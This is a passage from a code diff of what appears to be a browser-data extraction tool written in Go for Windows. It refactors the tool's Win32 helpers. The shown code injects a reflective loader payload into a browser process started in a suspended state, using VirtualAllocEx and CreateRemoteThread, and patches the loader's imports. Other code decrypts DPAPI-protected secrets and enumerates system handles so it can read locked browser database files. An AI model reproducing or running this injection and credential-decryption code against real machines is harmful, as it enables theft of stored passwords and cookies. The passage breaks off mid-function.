||||||
},
|
|
||||||
},
|
|
||||||
"coccoc": {
|
|
||||||
exeName: "browser.exe",
|
|
||||||
fallbacks: []string{
|
|
||||||
`%ProgramFiles%\CocCoc\Browser\Application\browser.exe`,
|
|
||||||
`%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`,
|
|
||||||
`%LocalAppData%\CocCoc\Browser\Application\browser.exe`,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
func ExecutablePath(browserKey string) (string, error) {
|
|
||||||
loc, ok := browserLocations[browserKey]
|
|
||||||
if !ok {
|
|
||||||
return "", fmt.Errorf("%w: %q (no lookup entry)", ErrExecutableNotFound, browserKey)
|
|
||||||
}
|
|
||||||
|
|
||||||
if p, err := appPathsLookup(loc.exeName, registry.LOCAL_MACHINE); err == nil {
|
|
||||||
return p, nil
|
|
||||||
}
|
|
||||||
if p, err := appPathsLookup(loc.exeName, registry.CURRENT_USER); err == nil {
|
|
||||||
return p, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, candidate := range loc.fallbacks {
|
|
||||||
expanded := os.ExpandEnv(candidate)
|
|
||||||
if fileExists(expanded) {
|
|
||||||
return expanded, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return "", fmt.Errorf("%w: %q (registry miss and no fallback match)",
|
|
||||||
ErrExecutableNotFound, browserKey)
|
|
||||||
}
|
|
||||||
|
|
||||||
func appPathsLookup(exeName string, root registry.Key) (string, error) {
|
|
||||||
sub := `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\` + exeName
|
|
||||||
k, err := registry.OpenKey(root, sub, registry.QUERY_VALUE)
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
defer k.Close()
|
|
||||||
|
|
||||||
v, _, err := k.GetStringValue("")
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
v = unquote(v)
|
|
||||||
if !fileExists(v) {
|
|
||||||
return "", fmt.Errorf("registry path does not exist: %s", v)
|
|
||||||
}
|
|
||||||
return filepath.Clean(v), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func fileExists(path string) bool {
|
|
||||||
info, err := os.Stat(path)
|
|
||||||
return err == nil && !info.IsDir()
|
|
||||||
}
|
|
||||||
|
|
||||||
func unquote(s string) string {
|
|
||||||
if len(s) >= 2 && s[0] == '"' && s[len(s)-1] == '"' {
|
|
||||||
return s[1 : len(s)-1]
|
|
||||||
}
|
|
||||||
return s
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package injector
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
// kernel32Path is always present on a Windows host and its export table
|
||||||
|
// is stable across versions — an ideal fixture for PE-parsing tests.
|
||||||
|
const kernel32Path = `C:\Windows\System32\kernel32.dll`
|
||||||
|
|
||||||
|
func readKernel32(t *testing.T) []byte {
|
||||||
|
t.Helper()
|
||||||
|
data, err := os.ReadFile(kernel32Path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read %s: %v", kernel32Path, err)
|
||||||
|
}
|
||||||
|
if len(data) == 0 {
|
||||||
|
t.Fatalf("%s is empty", kernel32Path)
|
||||||
|
}
|
||||||
|
return data
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDetectPEArch_Kernel32IsAMD64(t *testing.T) {
|
||||||
|
arch, err := DetectPEArch(readKernel32(t))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("DetectPEArch: %v", err)
|
||||||
|
}
|
||||||
|
if arch != ArchAMD64 {
|
||||||
|
t.Errorf("expected %q, got %q", ArchAMD64, arch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDetectPEArch_Garbage(t *testing.T) {
|
||||||
|
_, err := DetectPEArch([]byte("definitely not a PE file"))
|
||||||
|
if err == nil {
|
||||||
|
t.Error("expected parse error for non-PE input")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDetectPEArch_EmptyInput(t *testing.T) {
|
||||||
|
_, err := DetectPEArch(nil)
|
||||||
|
if err == nil {
|
||||||
|
t.Error("expected parse error for empty input")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports
|
||||||
|
// that Bootstrap also relies on via pre-resolved import patching. Passing
|
||||||
|
// here means both the export-table walker and the RVA→file-offset converter
|
||||||
|
// work against a real Windows PE — not just against fixtures we control.
|
||||||
|
func TestFindExportFileOffset_KnownExports(t *testing.T) {
|
||||||
|
data := readKernel32(t)
|
||||||
|
|
||||||
|
// All of these have been stable kernel32 exports since Windows XP.
|
||||||
|
exports := []string{
|
||||||
|
"LoadLibraryA",
|
||||||
|
"GetProcAddress",
|
||||||
|
"VirtualAlloc",
|
||||||
|
"VirtualProtect",
|
||||||
|
"CreateFileW",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, name := range exports {
|
||||||
|
off, err := FindExportFileOffset(data, name)
|
||||||
|
if err != nil {
|
||||||
|
t.Errorf("%s: unexpected error: %v", name, err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if off == 0 {
|
||||||
|
t.Errorf("%s: got zero file offset", name)
|
||||||
|
}
|
||||||
|
if int(off) >= len(data) {
|
||||||
|
t.Errorf("%s: offset %d exceeds file size %d", name, off, len(data))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFindExportFileOffset_MissingExport(t *testing.T) {
|
||||||
|
data := readKernel32(t)
|
||||||
|
_, err := FindExportFileOffset(data, "HbdNoSuchExport_abcdef1234")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("expected error for nonexistent export name")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFindExportFileOffset_GarbageInput(t *testing.T) {
|
||||||
|
_, err := FindExportFileOffset([]byte("not a PE file at all"), "LoadLibraryA")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("expected error when parsing non-PE input")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFindExportFileOffset_TruncatedPE(t *testing.T) {
|
||||||
|
data := readKernel32(t)
|
||||||
|
// Chop to just the DOS stub — export directory is unreachable.
|
||||||
|
if len(data) < 128 {
|
||||||
|
t.Fatalf("kernel32 is implausibly small: %d bytes", len(data))
|
||||||
|
}
|
||||||
|
_, err := FindExportFileOffset(data[:128], "LoadLibraryA")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("expected error when PE is truncated past the DOS header")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -12,6 +12,7 @@ import (
|
|||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/utils/winapi"
|
||||||
)
|
)
|
||||||
|
|
||||||
type Reflective struct {
|
type Reflective struct {
|
||||||
@@ -149,11 +150,10 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||||
remoteBase, err := callBoolErr(procVirtualAllocEx,
|
remoteBase, err := winapi.VirtualAllocEx(proc,
|
||||||
uintptr(proc), 0,
|
|
||||||
uintptr(len(payload)),
|
uintptr(len(payload)),
|
||||||
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||||
uintptr(windows.PAGE_EXECUTE_READWRITE),
|
uint32(windows.PAGE_EXECUTE_READWRITE),
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, fmt.Errorf("injector: %w", err)
|
return 0, fmt.Errorf("injector: %w", err)
|
||||||
@@ -171,15 +171,13 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
|||||||
|
|
||||||
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
||||||
entry := remoteBase + uintptr(loaderRVA)
|
entry := remoteBase + uintptr(loaderRVA)
|
||||||
hThread, err := callBoolErr(procCreateRemoteThread,
|
hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
|
||||||
uintptr(proc), 0, 0, entry, 0, 0, 0,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("injector: %w", err)
|
return fmt.Errorf("injector: %w", err)
|
||||||
}
|
}
|
||||||
defer windows.CloseHandle(windows.Handle(hThread))
|
defer windows.CloseHandle(hThread)
|
||||||
|
|
||||||
state, err := windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
|
state, err := windows.WaitForSingleObject(hThread, uint32(wait/time.Millisecond))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("injector: WaitForSingleObject: %w", err)
|
return fmt.Errorf("injector: WaitForSingleObject: %w", err)
|
||||||
}
|
}
|
||||||
@@ -243,11 +241,11 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
|
|||||||
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
|
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
|
||||||
}
|
}
|
||||||
|
|
||||||
pLoadLibraryA := procLoadLibraryA.Addr()
|
pLoadLibraryA := winapi.AddrLoadLibraryA()
|
||||||
pGetProcAddress := procGetProcAddress.Addr()
|
pGetProcAddress := winapi.AddrGetProcAddress()
|
||||||
pVirtualAlloc := procVirtualAlloc.Addr()
|
pVirtualAlloc := winapi.AddrVirtualAlloc()
|
||||||
pVirtualProtect := procVirtualProtect.Addr()
|
pVirtualProtect := winapi.AddrVirtualProtect()
|
||||||
pNtFlushIC := procNtFlushIC.Addr()
|
pNtFlushIC := winapi.AddrNtFlushInstructionCache()
|
||||||
|
|
||||||
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
|
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
|
||||||
pVirtualProtect == 0 || pNtFlushIC == 0 {
|
pVirtualProtect == 0 || pNtFlushIC == 0 {
|
||||||
|
|||||||
@@ -1,5 +0,0 @@
|
|||||||
package injector
|
|
||||||
|
|
||||||
type Strategy interface {
|
|
||||||
Inject(exePath string, payload []byte, env map[string]string) ([]byte, error)
|
|
||||||
}
|
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package injector
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"syscall"
|
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Package-level lazy DLL/Proc handles. Consolidating them here avoids the
|
|
||||||
// NewLazySystemDLL("kernel32.dll") boilerplate spread across every helper in
|
|
||||||
// reflective_windows.go, and gives us a single place to extend when a new
|
|
||||||
// Win32 API is needed. Matches the pattern used in filemanager/copy_windows.go.
|
|
||||||
var (
|
|
||||||
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
|
||||||
ntdll = windows.NewLazySystemDLL("ntdll.dll")
|
|
||||||
|
|
||||||
// Call-style procs: Win32 APIs that `golang.org/x/sys/windows` does NOT
|
|
||||||
// provide typed wrappers for. We invoke them via LazyProc.Call.
|
|
||||||
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
|
|
||||||
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
|
|
||||||
|
|
||||||
// Address-style procs: consumed only via .Addr() by patchPreresolvedImports
|
|
||||||
// to patch raw function pointers into the payload's DOS stub. We never Call
|
|
||||||
// these from our own process.
|
|
||||||
procLoadLibraryA = kernel32.NewProc("LoadLibraryA")
|
|
||||||
procGetProcAddress = kernel32.NewProc("GetProcAddress")
|
|
||||||
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
|
|
||||||
procVirtualProtect = kernel32.NewProc("VirtualProtect")
|
|
||||||
procNtFlushIC = ntdll.NewProc("NtFlushInstructionCache")
|
|
||||||
)
|
|
||||||
|
|
||||||
// callBoolErr wraps the common "r1 == 0 means failure" Win32 convention.
|
|
||||||
// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure,
|
|
||||||
// so we distinguish the "no-errno" case explicitly to avoid emitting misleading
|
|
||||||
// "operation completed successfully" messages. We use errors.As rather than a
|
|
||||||
// type assertion so the check stays correct if x/sys/windows ever wraps the
|
|
||||||
// underlying errno.
|
|
||||||
func callBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) {
|
|
||||||
r, _, callErr := p.Call(args...)
|
|
||||||
if r == 0 {
|
|
||||||
var errno syscall.Errno
|
|
||||||
if errors.As(callErr, &errno) && errno == 0 {
|
|
||||||
return 0, fmt.Errorf("%s: failed (no errno)", p.Name)
|
|
||||||
}
|
|
||||||
return 0, fmt.Errorf("%s: %w", p.Name, callErr)
|
|
||||||
}
|
|
||||||
return r, nil
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package winapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
procCryptUnprotectData = Crypt32.NewProc("CryptUnprotectData")
|
||||||
|
procLocalFree = Kernel32.NewProc("LocalFree")
|
||||||
|
)
|
||||||
|
|
||||||
|
// dataBlob mirrors the DPAPI DATA_BLOB struct.
|
||||||
|
type dataBlob struct {
|
||||||
|
cbData uint32
|
||||||
|
pbData *byte
|
||||||
|
}
|
||||||
|
|
||||||
|
func newBlob(d []byte) *dataBlob {
|
||||||
|
if len(d) == 0 {
|
||||||
|
return &dataBlob{}
|
||||||
|
}
|
||||||
|
return &dataBlob{pbData: &d[0], cbData: uint32(len(d))}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b *dataBlob) bytes() []byte {
|
||||||
|
d := make([]byte, b.cbData)
|
||||||
|
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
|
||||||
|
return d
|
||||||
|
}
|
||||||
|
|
||||||
|
// DecryptDPAPI decrypts a DPAPI-protected blob using the current user's
|
||||||
|
// master key. It is the Windows counterpart to macOS/Linux os_crypt
|
||||||
|
// fallbacks and is called by crypto.DecryptDPAPI.
|
||||||
|
func DecryptDPAPI(ciphertext []byte) ([]byte, error) {
|
||||||
|
var out dataBlob
|
||||||
|
r, _, err := procCryptUnprotectData.Call(
|
||||||
|
uintptr(unsafe.Pointer(newBlob(ciphertext))),
|
||||||
|
0, 0, 0, 0, 0,
|
||||||
|
uintptr(unsafe.Pointer(&out)),
|
||||||
|
)
|
||||||
|
if r == 0 {
|
||||||
|
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
|
||||||
|
}
|
||||||
|
defer procLocalFree.Call(uintptr(unsafe.Pointer(out.pbData)))
|
||||||
|
return out.bytes(), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package winapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Call-style procs used by the typed wrappers below.
|
||||||
|
var (
|
||||||
|
procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx")
|
||||||
|
procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread")
|
||||||
|
|
||||||
|
// K32EnumProcesses is the kernel32-embedded twin of psapi!EnumProcesses
|
||||||
|
// introduced in Windows 7 — using it lets us skip the psapi.dll handle.
|
||||||
|
procK32EnumProcesses = Kernel32.NewProc("K32EnumProcesses")
|
||||||
|
procQueryFullProcessImageName = Kernel32.NewProc("QueryFullProcessImageNameW")
|
||||||
|
)
|
||||||
|
|
||||||
|
// Address-style procs. The injector reads their raw addresses via .Addr()
|
||||||
|
// and patches them into the reflective loader's DOS stub. We never Call
|
||||||
|
// these from our own process.
|
||||||
|
var (
|
||||||
|
procLoadLibraryA = Kernel32.NewProc("LoadLibraryA")
|
||||||
|
procGetProcAddress = Kernel32.NewProc("GetProcAddress")
|
||||||
|
procVirtualAlloc = Kernel32.NewProc("VirtualAlloc")
|
||||||
|
procVirtualProtect = Kernel32.NewProc("VirtualProtect")
|
||||||
|
procNtFlushIC = Ntdll.NewProc("NtFlushInstructionCache")
|
||||||
|
)
|
||||||
|
|
||||||
|
// VirtualAllocEx wraps kernel32!VirtualAllocEx. Returns the allocated
|
||||||
|
// base address in the target process, or an error surfacing Win32
|
||||||
|
// errno-0 explicitly via CallBoolErr.
|
||||||
|
func VirtualAllocEx(proc windows.Handle, size uintptr, flAllocType, flProtect uint32) (uintptr, error) {
|
||||||
|
return CallBoolErr(procVirtualAllocEx,
|
||||||
|
uintptr(proc), 0, size,
|
||||||
|
uintptr(flAllocType), uintptr(flProtect),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// CreateRemoteThread wraps kernel32!CreateRemoteThread. Returns the new
|
||||||
|
// thread's handle, which the caller must CloseHandle.
|
||||||
|
func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.Handle, error) {
|
||||||
|
h, err := CallBoolErr(procCreateRemoteThread,
|
||||||
|
uintptr(proc), 0, 0,
|
||||||
|
startAddr, param, 0, 0,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
return windows.Handle(h), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Addr* functions expose raw function pointers for the reflective
|
||||||
|
// loader's DOS-stub patching. KnownDlls + session-consistent ASLR
|
||||||
|
// guarantees these addresses are valid in every process spawned in
|
||||||
|
// the same boot session.
|
||||||
|
|
||||||
|
func AddrLoadLibraryA() uintptr { return procLoadLibraryA.Addr() }
|
||||||
|
func AddrGetProcAddress() uintptr { return procGetProcAddress.Addr() }
|
||||||
|
func AddrVirtualAlloc() uintptr { return procVirtualAlloc.Addr() }
|
||||||
|
func AddrVirtualProtect() uintptr { return procVirtualProtect.Addr() }
|
||||||
|
func AddrNtFlushInstructionCache() uintptr { return procNtFlushIC.Addr() }
|
||||||
|
|
||||||
|
// EnumProcesses returns all PIDs currently visible to the caller. Backed
|
||||||
|
// by kernel32!K32EnumProcesses (available on Windows 7+), so we do not
|
||||||
|
// need a separate psapi.dll handle. The buffer doubles on overflow up to
|
||||||
|
// a 1M-entry safety cap.
|
||||||
|
func EnumProcesses() ([]uint32, error) {
|
||||||
|
size := uint32(1024)
|
||||||
|
for {
|
||||||
|
pids := make([]uint32, size)
|
||||||
|
var bytesReturned uint32
|
||||||
|
r, _, err := procK32EnumProcesses.Call(
|
||||||
|
uintptr(unsafe.Pointer(&pids[0])),
|
||||||
|
uintptr(size*4),
|
||||||
|
uintptr(unsafe.Pointer(&bytesReturned)),
|
||||||
|
)
|
||||||
|
if r == 0 {
|
||||||
|
return nil, fmt.Errorf("K32EnumProcesses: %w", err)
|
||||||
|
}
|
||||||
|
n := int(bytesReturned / 4)
|
||||||
|
// A completely filled buffer means we may have truncated — grow and retry.
|
||||||
|
if n < int(size) {
|
||||||
|
return pids[:n], nil
|
||||||
|
}
|
||||||
|
size *= 2
|
||||||
|
if size > 1<<20 {
|
||||||
|
return nil, fmt.Errorf("EnumProcesses: PID buffer exceeded 1M entries")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// QueryFullProcessImageName returns the full file-system path of the
|
||||||
|
// executable backing the given process handle. Open the handle with
|
||||||
|
// PROCESS_QUERY_LIMITED_INFORMATION (available to non-admin callers).
|
||||||
|
func QueryFullProcessImageName(h windows.Handle) (string, error) {
|
||||||
|
buf := make([]uint16, windows.MAX_PATH)
|
||||||
|
size := uint32(len(buf))
|
||||||
|
r, _, err := procQueryFullProcessImageName.Call(
|
||||||
|
uintptr(h),
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(&buf[0])),
|
||||||
|
uintptr(unsafe.Pointer(&size)),
|
||||||
|
)
|
||||||
|
if r == 0 {
|
||||||
|
return "", fmt.Errorf("QueryFullProcessImageNameW: %w", err)
|
||||||
|
}
|
||||||
|
return windows.UTF16ToString(buf[:size]), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,215 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package winapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// systemExtendedHandleInformation is the information class for
|
||||||
|
// NtQuerySystemInformation that returns SYSTEM_HANDLE_INFORMATION_EX.
|
||||||
|
// This is the 64-bit safe version (class 64) — UniqueProcessId is
|
||||||
|
// ULONG_PTR instead of USHORT, avoiding PID truncation on 64-bit Windows.
|
||||||
|
systemExtendedHandleInformation = 64
|
||||||
|
|
||||||
|
statusInfoLengthMismatch = 0xC0000004
|
||||||
|
|
||||||
|
fileMapRead = 0x0004
|
||||||
|
pageReadonly = 0x02
|
||||||
|
|
||||||
|
// FileTypeDisk is the GetFileType return value for a normal disk file.
|
||||||
|
FileTypeDisk uint32 = 0x0001
|
||||||
|
|
||||||
|
maxHandleBufferSize = 256 * 1024 * 1024
|
||||||
|
initialHandleBuffer = 4 * 1024 * 1024
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
procNtQuerySystemInformation = Ntdll.NewProc("NtQuerySystemInformation")
|
||||||
|
procGetFileType = Kernel32.NewProc("GetFileType")
|
||||||
|
procGetFinalPathNameByHandleW = Kernel32.NewProc("GetFinalPathNameByHandleW")
|
||||||
|
procCreateFileMappingW = Kernel32.NewProc("CreateFileMappingW")
|
||||||
|
procMapViewOfFile = Kernel32.NewProc("MapViewOfFile")
|
||||||
|
procUnmapViewOfFile = Kernel32.NewProc("UnmapViewOfFile")
|
||||||
|
procGetFileSizeEx = Kernel32.NewProc("GetFileSizeEx")
|
||||||
|
)
|
||||||
|
|
||||||
|
// SystemHandleEntry mirrors SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, the extended
|
||||||
|
// entry returned by SystemExtendedHandleInformation (class 64).
|
||||||
|
//
|
||||||
|
// Layout on 64-bit Windows (40 bytes):
|
||||||
|
//
|
||||||
|
// PVOID Object;
|
||||||
|
// ULONG_PTR UniqueProcessId;
|
||||||
|
// ULONG_PTR HandleValue;
|
||||||
|
// ULONG GrantedAccess;
|
||||||
|
// USHORT CreatorBackTraceIndex;
|
||||||
|
// USHORT ObjectTypeIndex;
|
||||||
|
// ULONG HandleAttributes;
|
||||||
|
// ULONG Reserved;
|
||||||
|
type SystemHandleEntry struct {
|
||||||
|
Object uintptr
|
||||||
|
UniqueProcessID uintptr
|
||||||
|
HandleValue uintptr
|
||||||
|
GrantedAccess uint32
|
||||||
|
CreatorBackTraceIndex uint16
|
||||||
|
ObjectTypeIndex uint16
|
||||||
|
HandleAttributes uint32
|
||||||
|
Reserved uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
// QuerySystemHandles enumerates all open handles system-wide via
|
||||||
|
// NtQuerySystemInformation(SystemExtendedHandleInformation). The buffer
|
||||||
|
// size grows on STATUS_INFO_LENGTH_MISMATCH until it succeeds or exceeds
|
||||||
|
// the safety cap.
|
||||||
|
func QuerySystemHandles() ([]SystemHandleEntry, error) {
|
||||||
|
bufSize := uint32(initialHandleBuffer)
|
||||||
|
|
||||||
|
for {
|
||||||
|
buf := make([]byte, bufSize)
|
||||||
|
var returnLength uint32
|
||||||
|
|
||||||
|
ret, _, _ := procNtQuerySystemInformation.Call(
|
||||||
|
systemExtendedHandleInformation,
|
||||||
|
uintptr(unsafe.Pointer(&buf[0])),
|
||||||
|
uintptr(bufSize),
|
||||||
|
uintptr(unsafe.Pointer(&returnLength)),
|
||||||
|
)
|
||||||
|
|
||||||
|
if ret == statusInfoLengthMismatch {
|
||||||
|
bufSize *= 2
|
||||||
|
if bufSize > maxHandleBufferSize {
|
||||||
|
return nil, fmt.Errorf("handle info buffer exceeded %d bytes", maxHandleBufferSize)
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if ret != 0 {
|
||||||
|
return nil, fmt.Errorf("NtQuerySystemInformation returned 0x%x", ret)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Header on 64-bit: NumberOfHandles (ULONG_PTR) + Reserved (ULONG_PTR) = 16 bytes.
|
||||||
|
numberOfHandles := *(*uintptr)(unsafe.Pointer(&buf[0]))
|
||||||
|
if numberOfHandles == 0 {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
count := int(numberOfHandles)
|
||||||
|
const headerSize = unsafe.Sizeof(uintptr(0)) * 2
|
||||||
|
entrySize := unsafe.Sizeof(SystemHandleEntry{})
|
||||||
|
|
||||||
|
required := headerSize + uintptr(count)*entrySize
|
||||||
|
if required > uintptr(len(buf)) {
|
||||||
|
return nil, fmt.Errorf("buffer too small: need %d, have %d", required, len(buf))
|
||||||
|
}
|
||||||
|
|
||||||
|
entries := make([]SystemHandleEntry, count)
|
||||||
|
for i := 0; i < count; i++ {
|
||||||
|
src := unsafe.Pointer(uintptr(unsafe.Pointer(&buf[0])) + headerSize + uintptr(i)*entrySize)
|
||||||
|
entries[i] = *(*SystemHandleEntry)(src)
|
||||||
|
}
|
||||||
|
return entries, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetFileType returns the Windows FileType for h (e.g., FileTypeDisk).
|
||||||
|
func GetFileType(h windows.Handle) uint32 {
|
||||||
|
t, _, _ := procGetFileType.Call(uintptr(h))
|
||||||
|
return uint32(t)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetFileSizeEx returns the size of the file referenced by h.
|
||||||
|
func GetFileSizeEx(h windows.Handle) (int64, error) {
|
||||||
|
var sz int64
|
||||||
|
r, _, err := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&sz)))
|
||||||
|
if r == 0 {
|
||||||
|
return 0, fmt.Errorf("GetFileSizeEx: %w", err)
|
||||||
|
}
|
||||||
|
return sz, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExpandEnvString is the Go-friendly wrapper around
|
||||||
|
// kernel32!ExpandEnvironmentStringsW. Use it when you need to resolve
|
||||||
|
// Windows-style %VAR% placeholders — Go's stdlib os.ExpandEnv only
|
||||||
|
// recognizes Unix-style $VAR / ${VAR} and leaves %VAR% untouched.
|
||||||
|
func ExpandEnvString(s string) (string, error) {
|
||||||
|
src, err := windows.UTF16PtrFromString(s)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("ExpandEnvString: %w", err)
|
||||||
|
}
|
||||||
|
// 4 KB of UTF-16 easily covers MAX_PATH-bounded install locations.
|
||||||
|
buf := make([]uint16, 4096)
|
||||||
|
n, err := windows.ExpandEnvironmentStrings(src, &buf[0], uint32(len(buf)))
|
||||||
|
if n == 0 {
|
||||||
|
return "", fmt.Errorf("ExpandEnvironmentStringsW: %w", err)
|
||||||
|
}
|
||||||
|
if int(n) > len(buf) {
|
||||||
|
// Buffer was too small — retry with exact size.
|
||||||
|
buf = make([]uint16, n)
|
||||||
|
n, err = windows.ExpandEnvironmentStrings(src, &buf[0], uint32(len(buf)))
|
||||||
|
if n == 0 {
|
||||||
|
return "", fmt.Errorf("ExpandEnvironmentStringsW: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return windows.UTF16ToString(buf[:n]), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetFinalPathName returns the normalized file path for h, with the
|
||||||
|
// \\?\ prefix stripped.
|
||||||
|
func GetFinalPathName(h windows.Handle) (string, error) {
|
||||||
|
size := 512
|
||||||
|
for {
|
||||||
|
buf := make([]uint16, size)
|
||||||
|
n, _, err := procGetFinalPathNameByHandleW.Call(
|
||||||
|
uintptr(h),
|
||||||
|
uintptr(unsafe.Pointer(&buf[0])),
|
||||||
|
uintptr(len(buf)),
|
||||||
|
0, // FILE_NAME_NORMALIZED
|
||||||
|
)
|
||||||
|
if n == 0 {
|
||||||
|
return "", fmt.Errorf("GetFinalPathNameByHandle: %w", err)
|
||||||
|
}
|
||||||
|
if int(n) > len(buf) {
|
||||||
|
size = int(n)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
path := windows.UTF16ToString(buf[:n])
|
||||||
|
return strings.TrimPrefix(path, `\\?\`), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// MapFile creates a read-only file mapping over h, copies the first
|
||||||
|
// size bytes into a Go-owned slice, and releases the mapping. Reads go
|
||||||
|
// through the OS kernel's file cache, which includes SQLite WAL data
|
||||||
|
// that has not yet been checkpointed into the main file.
|
||||||
|
func MapFile(h windows.Handle, size int) ([]byte, error) {
|
||||||
|
mapping, _, err := procCreateFileMappingW.Call(
|
||||||
|
uintptr(h),
|
||||||
|
0, pageReadonly,
|
||||||
|
